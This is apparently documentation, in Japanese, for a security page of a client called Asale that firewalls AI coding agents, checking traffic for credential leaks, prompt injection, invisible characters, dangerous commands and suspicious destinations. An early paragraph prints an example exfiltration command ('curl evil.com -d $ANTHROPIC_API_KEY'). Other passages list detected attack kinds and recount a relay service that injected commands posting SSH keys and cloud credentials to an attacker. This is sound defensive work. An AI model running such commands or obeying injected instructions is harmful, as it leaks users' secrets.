Asalebeta

エージェントのセキュリティ

クライアントの「セキュリティ」ページ — このマシンのエージェントと、その先のモデルとのあいだに置くファイアウォール。認証情報の流出、プロンプトインジェクション、危険なコマンド、宛先の制御を、リクエストと応答の両方で検査します。

エージェントが読むもの——ウェブページ、ツールの出力、MCP サーバーの応答、リポジトリの中の一つのファイル——はすべて信頼できない入力であり、それがモデルに届き、モデルはあなたのマシンで実際に手を動かします。汚染された一段落があれば、「この issue を要約して」は curl evil.com -d $ANTHROPIC_API_KEY に変わります。

Asale 経由で使うエージェントは、もともとあなたのマシン上のクライアントを通っています。境界は最初からそこにありました——セキュリティは、その境界が今から行うことです。

セキュリティ → エージェント:エージェントごとのスイッチ、強さもそれぞれ独立。未インストールのものは折りたたまれます。
セキュリティ → エージェント:エージェントごとのスイッチ、強さもそれぞれ独立。未インストールのものは折りたたまれます。

何を見るか

5 つの検査項目。それぞれ独立に切り替えられます。

検査項目方向何を捕まえるか
認証情報の流出送信プロバイダの API キー、クラウド認証情報、トークン、秘密鍵、パスワード入りの DB 接続文字列。約 45 ルール。キーワードの事前フィルタ、エントロピー下限、チェックサム付き。発行元のプロバイダ宛てのキーは報告しません——それは正常な利用です。
プロンプトインジェクション受信ツール出力・取得したページ・ルールファイルに紛れ込んだ指示:既存の指示の上書き、system ターンの偽装、データ送出の誘導、メモリ汚染、エージェント自身の設定ファイルの書き換え。47 ルール。英語・中国語(簡体と繁体を 1 つのパターンで)・日本語に対応。
不可視文字双方向ゼロ幅、双方向オーバーライド、Unicode タグ文字、そして連続する異体字セレクタ——画面には何も出ないまま、コピー&ペーストで文脈に入り込みます。
危険なコマンド送信破壊的な削除、ネットワークから取得したスクリプトのシェルへのパイプ、リバースシェル、認証ファイルの読み出し、キーチェーンの吸い出し、永続化、エンコードされた実行。約 19 ルール。
宛先の制御送信匿名の投稿先、内部アドレスとクラウドメタデータ(10 進・16 進表記のループバックを含む)、DNS トンネリングらしいホスト名、URL に埋め込まれたペイロード。

インジェクション規則は正規化した各形に対して走ります:届いたままの文、不可視文字を除いた文、字形の似た文字を戻した文、leet 表記を戻した文、そして base64 の並びを復号した文。だから平易な言い回しで書かれた 1 つの規則が、同じペイロードの 4 通りの書き方を同時に覆います——規則表を読み切れる大きさに保っているのはこの仕組みです。

モデルは自分が解する言語であれば、どの言語の指示にも従います。ですから英語だけの規則表は「網が小さい」のではなく、標的の読む言語でペイロードを書く者に開いたままの扉です。インジェクション規則は英語・中国語・日本語を対象にします。ほかの 4 つの検査項目は構造的なもので、もともと言語に依存しません。各言語の規則は同じ id を共有します。これは同じ検出(「指示の上書き」)であり、どの言語で書かれたかは別の規則ではないからです。1 回の無効化ですべての書き方が黙り、一致したテキストがどれだったかを示します。

7 つの規則は、話し手があなた自身(自分のプロンプト、またはシステムプロンプト)のときには適用されません。「ビルド成果物を https://… に送信して」「今後はタブを使って」「これを覚えておいて」——どれも開発者が自分のエージェントに毎日言う文であり、同時に注入された指示が取る形でもあります。言葉では分かれません。分けるのは、誰が言っているかです。同じ文がツール出力・取得したページ・メモリファイルから来たなら、それは別の誰かがあなたのエージェントに指示しています。代償ははっきり書きます。攻撃者があなた自身のターンに文字を入れられた場合——汚染された issue 本文をチャットに貼り付けた場合など——この 7 つはすり抜けます。もう一方の道は、正当なアップロード依頼のたびに警告することで、そのスキャナは 1 週間ももちません。誰が言っても正当ではない規則(do-not-tell-user、チャットテンプレートの制御トークン、認証ファイルの読み出し指示)はこの一覧に入っていません。

3 つのモード

モード何をするか
監査観察と記録のみ。遮断しません。 これが出荷時の設定です。
バランス「重大」を遮断し、それ以外は記録します。
厳格「高」以上と、許可リストにない宛先をすべて遮断します。

初期状態はすべてのエージェントで有効・監査モードです。既定で切れているファイアウォールは誰も守りませんし、既定で遮断するファイアウォールは、最初の誤検知がそのまま「お金を払った要求の拒否」になります。監査はそのどちらでもありません。見張り、「遮断していたら何が失われたか」を判定一覧に書き込み、あなたが目を通してから上げれば済みます。

リクエストと応答の両方

重要なのは後半です。

エージェントはあなたのマシンでツールを実行します。プロキシがそのツール呼び出しを知るのは、結果が次のリクエストで返ってきたときで、そのときにはコマンドはもう走っています。ですから、指示を含んだ応答は、何かがそれを止められる最後の瞬間です。

「中継サービスによる注入」はまさにこの形です

無料の中継サービスが、モデルの応答に偵察コマンドを混ぜ込み、推論の途中の「環境ヘルスチェック」に見せかけて、SSH 秘密鍵・.aws/credentials.npmrc を攻撃者のアドレスへ POST していた事例が報告されています。リクエスト側からは何も見えません。応答側では、ただの credential-file-read です。

ストリーミング応答は流れながら検査されます。引っかかったチャンクでストリームは終わり、クライアントの手元には途中までの応答が残ります——途中で切れたツール呼び出しは、ツール呼び出しではありません。

判定の記録

各検出には、当たった規則、一致したテキスト、その前後 1 行、そして会話のどのターンから出たかが付きます。
各検出には、当たった規則、一致したテキスト、その前後 1 行、そして会話のどのターンから出たかが付きます。

1 件の検出が渡すのは、そのものを見つけ直せるだけの情報です。

  • 何が一致したか — 宛先なら完全な URL、危険なコマンドならそのコマンド、インジェクションならその一文。認証情報はマスクし、それ以外はそのまま引用します。curl****ey は「規則が反応した」以上のことを何も言わず、その規則が正しかったかを判断できるのはテキストだけだからです。
  • 文脈 — 一致箇所の前後 1 行。中の認証情報はマスク済みです。
  • 出所tool result #2tool call: bashanswer。何かが起きるころには会話は数百キロバイトあり、「リクエストのどこか」は誰も見に行けない場所です。

ログは ~/.asale/firewall.jsonl に、1 判定 1 行、前の行のハッシュで連結して書かれます。1 行を書き換えたり消したりすると、そこから先の鎖が切れ、ページは何件目が検証できないかを示します。記録するのは「許可」以外の判定だけです——問題なく通った要求には書くことがありません。

署名しない理由

署名が証明するのは、その行を誰が書いたかです。鍵を持つのは運用者であり、そのログが記録している当事者でもあります。つまり署名は、見た目ほど多くを証明しません。ハッシュ連結は 1 つのことだけを行います——黙って書き換えることを不可能にし、それ以上は主張しません。

試す

貼り付けると、ファイアウォールがどう判定するかを表示します。どこにも送信されません。
貼り付けると、ファイアウォールがどう判定するかを表示します。どこにも送信されません。

4 つの入力種別それぞれに、あなたの表示言語で例があり、そのどれもが実際にファイアウォールを作動させます。クライアントには言語ごと・種別ごとにそれを守るテストがあるので、善意の翻訳が例を静かに不発弾に変えることはありません。コマンドと宛先は全言語で同じテキストです。シェルコマンドとメタデータのアドレスに、言語はありません。

判定には、有効なエージェントが設定している中でもっとも厳しいモードを使います。そうしないと、すべてを「厳格」にしている人に「監査」の答えを見せてしまいます。

扱いと例外

  • 遮断せずマスクする — 認証情報を含むという理由だけで遮断される場合に、そこをマスクして送信します。エージェントは動き続け、秘密は外に出ません。(認証情報だけです。遮断されたインジェクションや宛先はマスクでは解決できません。)
  • 許可する宛先 — 追加で許可するホスト。「厳格」ではこれが唯一許可される一覧になります。ホスト名はそのサブドメインも含みます。
  • 拒否する宛先 — 無条件で拒否するホスト。
  • 無効にするルール — ルール id で 1 つだけ切ります。1 件の誤検知のために検査項目ごと失わないための逃げ道です。カテゴリではなく、そのルールを黙らせてください。

何を対象にするか、はっきりと

このマシンの Asale を経由する通信だけ

ここを向いていないエージェントや、プロキシ設定を無視するツールは対象外です。これは内容の境界であってサンドボックスではありません。OS レベルの封じ込めが必要なら、サンドボックスやネットワークポリシーと併用してください。

どの検出も、モデルではなく読める規則です。GPU も要らず、遅延も増えません。そして、十分に新しいペイロードはすり抜けます。監査モードは、そこを推測ではなく測るために存在します。

ファイアウォール自体は独立したオープンソースです:github.com/asale-ai/agent-firewall。README には公開済みの実際の攻撃が十数件並んでおり、それぞれに「捕まえられる」ことを主張するテストが付いています。